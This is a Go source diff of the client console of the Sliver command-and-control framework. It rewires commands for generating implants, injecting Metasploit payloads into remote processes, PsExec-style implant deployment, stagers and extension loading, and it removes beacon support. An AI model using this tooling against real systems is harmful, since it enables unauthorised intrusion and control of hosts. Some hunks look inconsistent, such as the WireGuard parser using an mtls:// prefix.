@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+21 -97
View File
@@ -63,7 +63,6 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -476,8 +475,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -506,47 +503,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -558,7 +514,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("f", "force", false, "force session action without waiting for results")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -575,7 +530,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -588,6 +543,26 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -832,30 +807,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -1248,8 +1199,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1304,8 +1253,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1454,8 +1401,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1515,8 +1460,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1631,24 +1574,6 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -2164,7 +2089,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("f", "force", false, "force killing of the beacon")
},
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
var oldState *terminal.State
if !noPty {
oldState, err = term.MakeRaw(0)
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
+6 -23
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -49,23 +49,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -98,15 +90,6 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+6 -29
View File
@@ -25,15 +25,14 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,21 +46,12 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -73,20 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+62 -75
View File
@@ -31,7 +31,6 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -39,13 +38,11 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -59,7 +56,6 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -117,7 +113,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -173,9 +169,8 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -183,11 +178,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -195,15 +190,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -220,26 +212,27 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -255,7 +248,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
@@ -265,17 +258,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -288,10 +295,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
if err != nil {
return err
}
@@ -299,31 +306,23 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(con, depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -331,15 +330,23 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(ctx, session, con, ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -354,7 +361,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -366,11 +373,10 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -379,39 +385,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
@@ -426,8 +415,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
-84
View File
@@ -1,84 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
-4
View File
@@ -64,10 +64,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+8 -2
View File
@@ -5,6 +5,8 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -93,11 +95,15 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
+2 -39
View File
@@ -258,7 +258,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -266,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -333,8 +331,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -398,9 +394,6 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -422,20 +415,17 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -468,9 +458,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
